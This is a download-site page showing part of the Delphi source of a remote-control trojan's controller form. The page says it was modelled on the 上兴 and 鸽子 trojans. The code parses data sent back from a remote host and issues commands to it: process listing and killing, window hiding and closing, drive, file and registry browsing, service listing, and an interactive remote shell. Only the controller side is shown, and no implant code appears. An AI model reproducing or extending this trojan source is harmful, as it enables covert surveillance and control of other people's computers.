⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformcontrol.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
📖 第 1 页 / 共 5 页
字号:
      try
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
      TempStr := Copy(recibido, 1, Pos('|', Recibido) - 1);
      //De la ruta de los procesos quitamos \??\ y sustituimos \SystemRoot\ por %windir%\
      TempStr := StringReplace(TempStr, '\??\', '', [rfReplaceAll]);
      if Copy(TempStr, 1, 12) = '\SystemRoot\' then
        TempStr := StringReplace(TempStr, '\SystemRoot\', '%windir%\', [rfReplaceAll]);
      try
      Item.SubItems.Add(TempStr);
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;
  if Copy(Recibido, 1, 4) = 'WIND' then
  begin
    ListViewVentanas.Clear;
    Delete(Recibido, 1, 5);
    while pos('|', Recibido) > 0 do
    begin
      try
      Item := ListViewVentanas.Items.Add;
      except
      end;
      try
      Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
      try
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      except
      end;
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;


  //消息回传
  if Copy(Recibido, 1, 3) = 'MSG' then
  begin
    Delete(Recibido, 1, 4);
    if Recibido = '文件夹不存在' then  //这里可能有问题
    begin
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, Length(EditPathArchivos.Text) - 1); //Borra el ultimo '\'
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, LastDelimiter('\', EditPathArchivos.Text));
    end;
    StatusBar.Panels[1].Text := Recibido;    //状态栏显示
    MessageBeep($FFFFFFFF); 
  end;

  //硬盘列表
  if Copy(Recibido, 1, 11) = 'VERUNIDADES' then
  begin
    Delete(Recibido, 1, 12);
    TreeView1.Items.BeginUpdate;
    TreeView1.Items.Item[0].DeleteChildren;
    disk:=0;
   // cmbUnidades.Items.Clear;
    while Pos('|', Recibido) > 1 do
    begin
      TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));  //
      Delete(Recibido, 1, Pos('|', Recibido)); //
      TempStr := TempStr + ' ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1));  //
      Delete(Recibido, 1, Pos('|', Recibido));

      TempStr := TempStr + ' - 使用情况: ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1))));  //Espacio disponible
      Delete(Recibido, 1, Pos('|', Recibido));
      TempStr := TempStr + ' / ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1))));  //Espacio total
      Delete(Recibido, 1, Pos('|', Recibido));
      TempStr := TempStr + ' - 分区格式: ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1));  //Formato
      Delete(Recibido, 1, Pos('|', Recibido));
      case StrToInt(Copy(Recibido, 1, (Pos('|', Recibido) - 1))) of //
        0: TempStr := TempStr + ' - Unidad desconocida';
        2: TempStr := TempStr + ' - 移动硬盘';
        3: TempStr := TempStr + ' - 本地硬盘';
        4: TempStr := TempStr + ' - Disco de red';
        5: TempStr := TempStr + ' - CD/DVD盘';
        6: TempStr := TempStr + ' - RAM盘';
      end;
      tmp:=TreeView1.Items.AddChild(treeview1.TopItem, TempStr);
      tmp.ImageIndex:=2;
      inc(disk);
      //cmbUnidades.Items.Add(TempStr);
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
      TreeView1.Items.EndUpdate;
    //cmbUnidades.Enabled := True;
    EditPathArchivos.Enabled := True;
    BtnActualizarArchivos.Enabled := True;
    treeview1.TopItem.Text:='远程主机硬盘共'+inttostr(disk)+'个';
    StatusBar.Panels[1].Text := '获取硬盘信息已经列表.';
  end;

  if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
  begin
    Delete(Recibido, 1, 15); //Borra 'LISTARARCHIVOS|'

    if Pos('|', Recibido) > 1 then
    begin
      TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
    while Length(Recibido) < StrToInt(TempStr) do
      Recibido := Recibido + Trim(Athread.Connection.ReadLn);

    ListViewArchivos.Items.BeginUpdate;
    ListViewArchivos.Clear;
    if Length(EditPathArchivos.Text) > 3 then
    begin
      Item := ListViewArchivos.Items.Add;
      Item.ImageIndex := 0;
      Item.Caption := '<..>';
    end;
    while Pos('|', Recibido) > 1 do
    begin
      TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
      Delete(Recibido, 1, Pos('|', Recibido));
      if TempStr[1] = #2 then
      begin
        Delete(TempStr, 1, 1);
        Item := ListViewArchivos.Items.Add;
        Item.ImageIndex := 1;
        Item.Caption := Copy(TempStr, 1, Pos(':', TempStr) - 1);
        Item.SubItems.Add('');
        Item.SubItems.Add('文件夹');
        Item.SubItems.Add(Copy(TempStr, Pos(':', TempStr) + 1, Length(TempStr)));
      end
      else
      begin
        Item := ListViewArchivos.Items.Add;
        Item.ImageIndex := IconNum(LowerCase(ExtractFileExt(TempStr)));
        Item.Caption := TempStr;
        TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
        Delete(Recibido, 1, Pos('|', Recibido));
        Item.SubItems.Add(ObtenerMejorUnidad(StrToInt(TempStr)));
        RealSize := TempStr;
        TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
        Delete(Recibido, 1, Pos('|', Recibido));
        Item.SubItems.Add(TempStr);
        TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
        Delete(Recibido, 1, Pos('|', Recibido));
        Item.SubItems.Add(TempStr);
        Item.SubItems.Add(RealSize);
      end;
    end;
    if ListViewArchivos.Items.Count > 0 then
    begin
      a := 0;
      for i := 0 to ListViewArchivos.Items.Count - 1 do
      begin
        if ListViewArchivos.Items[i].ImageIndex = 1 then
          a := a + 1;
      end;
      LabelNumeroDeCarpetas.Caption := '文件夹: ' + IntToStr(a);
      a := 0;
      for i := 0 to ListViewArchivos.Items.Count - 1 do
      begin
        if (ListViewArchivos.Items[i].ImageIndex <> 1) then
          a := a + 1;
       end;
      LabelNumeroDeArchivos.Caption := '文件: ' + IntToStr(a);
    end;
    ListViewArchivos.Items.EndUpdate;
    StatusBar.Panels[1].Text := '文件已经列表.';
  end;
  if Copy(Recibido, 1, 12) = 'LISTARCLAVES' then
  begin
    Delete(Recibido, 1, 13);
    if Pos('|',Recibido) > 1 then
    begin
    TempStr := Copy(recibido,1,Pos('|',Recibido)-1);
    Delete(Recibido,1,Pos('|',Recibido));
    end;
    While length(Recibido)< StrToInt(TempStr) do
    begin
    Recibido := Recibido+ Trim(Athread.Connection.ReadLn)
    end;
    AniadirClavesARegistro(Recibido);
  end;
  if Copy(Recibido, 1, 13) = 'LISTARVALORES' then
  begin
    Delete(Recibido, 1, 14);
    AniadirValoresARegistro(Recibido);
  end;

  if Pos('SHELL|', Recibido) = 1 then
  begin
    Delete(Recibido, 1, 6);
    if Recibido = 'ACTIVAR' then
    begin
      MemoShell.Color := ClBlack;
      MemoShell.Font.Color := clWhite;
      edit1.Enabled:=true;
      btnCambiarColorShell.Enabled := True;
      btnCambiarFuenteShell.Enabled := True;
    end
    else
      if Recibido = 'DESACTIVAR' then
      begin
        MemoShell.Color := ClInactiveBorder;
        MemoShell.Font.Color := clWhite;
        edit1.Enabled:=false;
        btnCambiarColorShell.Enabled := False;
        btnCambiarFuenteShell.Enabled := FalsE;
      end
      else
      begin
        TempStr := Copy(Recibido, 1, Pos('|', Recibido)-1);
        Delete(Recibido, 1, Pos('|', Recibido));

        Recibido := Recibido + #13#10;
        while Length(Recibido) < StrToInt(Tempstr) do
          Recibido := Recibido + Athread.Connection.ReadChar;
        MemoShell.lines.Add(trim(Recibido) +#13#10);

       SendMessage(MemoShell.Handle, EM_LINESCROLL, 0, length(Recibido));
      end;
  end;

  if Copy(Recibido, 1, 12) = 'SERVICIOSWIN' then
  begin
    Delete(Recibido, 1, 14);
    while pos('|', Recibido) > 0 do
    begin
      Item := listviewservicios.Items.Add;
      Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) -1);
      Delete(Recibido, 1, Pos('|', Recibido));
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido)-1 ));
      Delete(Recibido, 1, Pos('|', Recibido));
      Item.SubItems.Add(copy(recibido,1,pos('|',Recibido)-1));
      Delete(Recibido, 1, Pos('|',Recibido));
    end;
 end;
end;

function TFormControl.IconNum(strExt: String): Integer;
begin
  if (strExt = '.mp3') or (strExt = '.wav') or (strExt = '.ogg') or (strExt = '.midi') or (strExt = '.mid') or (strExt = '.cda')  then Result := 25
  else if (strExt = '.avi') or (strExt = '.mpg') or (strExt = '.mpeg') or (strExt = '.asf') or (strExt = '.wmv') or (strExt = '.mov') then Result := 25
  else if (strExt = '.jpg') or (strExt = '.jpeg') or (strExt = '.gif') or (strExt = '.png') or (strExt = '.pdf') then Result := 23
  else if (strExt = '.dll') or (strExt = '.sys') or (strExt = '.ocx') or (strExt = '.vxd') or (strExt = '.cpl') or(strExt = '.ini')  then Result := 24
  else if (strExt = '.txt') then Result := 6
  else if (strExt = '.html') or (strExt = '.htm') or (strExt = '.php') then Result := 9
  else if (strExt = '.exe') or (strExt = '.com') or (strExt = '.scr') then Result := 3
  else if (strExt = '.bat') or (strExt = '.cmd') then Result := 10
  else if (strExt = '.zip') or (strExt = '.rar') or (strExt = '.ace') then Result := 11
  else if (strExt = '.doc') or (strExt = '.rtf') then Result := 12
  else if (strExt = '.ppt') or (strExt = '.pps') then Result := 13
  else if (strExt = '.xls') or (strExt = '.xml') then Result := 14
  else if (strExt = '.bmp') or (strExt = '.ico') then Result := 26
  else Result := 2;
end;


procedure TFormControl.BtnRefrescarInformacionClick(Sender: TObject);
begin

  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('INFO')
  except
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.BtnRefrescarProcesosClick(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('PROC')
    except
    end
  else
     MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.Cerrar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListView4.Selected = nil then
      MessageDlg('必须先选择一个进程', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('KILLPROC|' + ListView4.Selected.SubItems[0]);
      except
      end;
  end
  else
        MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.BtnRefrescarVentanasClick(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('WIND')
     except
      end
  else
        MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.Cerrar2Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
      MessageDlg('必须先选择一个窗口', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('CLOSEWIN|' + ListViewVentanas.Selected.SubItems[0]);
         except
      end;
  end
  else
        MessageDlg('无连接主机!', mtWarning, [mbok], 0);
end;


procedure TFormControl.Maximizar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
      MessageDlg('选择一个窗口', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('MAXWIN|' + ListViewVentanas.Selected.SubItems[0]);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0)
end;


procedure TFormControl.Minimizar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
      MessageDlg('选择一个窗口', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('MINWIN|' + ListViewVentanas.Selected.SubItems[0]);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0)
end;


procedure TFormControl.Mostrar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
      MessageDlg('选择一个窗口', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('SHOWWIN|' + ListViewVentanas.Selected.SubItems[0]);
      except
      end;
  end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0)
end;


procedure TFormControl.Ocultar1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  begin
    if ListViewVentanas.Selected = nil then
      MessageDlg('选择一个窗口', mtWarning, [mbok], 0)
    else
    try
      Servidor.Connection.Writeln('HIDEWIN|' + ListViewVentanas.Selected.SubItems[0]);
      except
      end;
  end
  else
    MessageDlg('无连接主机 !', mtWarning, [mbok], 0)
end;


procedure TFormControl.Minimizartodas1Click(Sender: TObject);
begin
  if Servidor.Connection.Connected then
  try
    Servidor.Connection.Writeln('MINALLWIN')
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0)
end;






procedure TFormControl.BtnVerUnidadesClick(Sender: TObject);
begin
  if Servidor.Connection.Connected then
try
    Servidor.Connection.Writeln('VERUNIDADES')
      except
      end
  else
    MessageDlg('无连接主机!', mtWarning, [mbok], 0);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -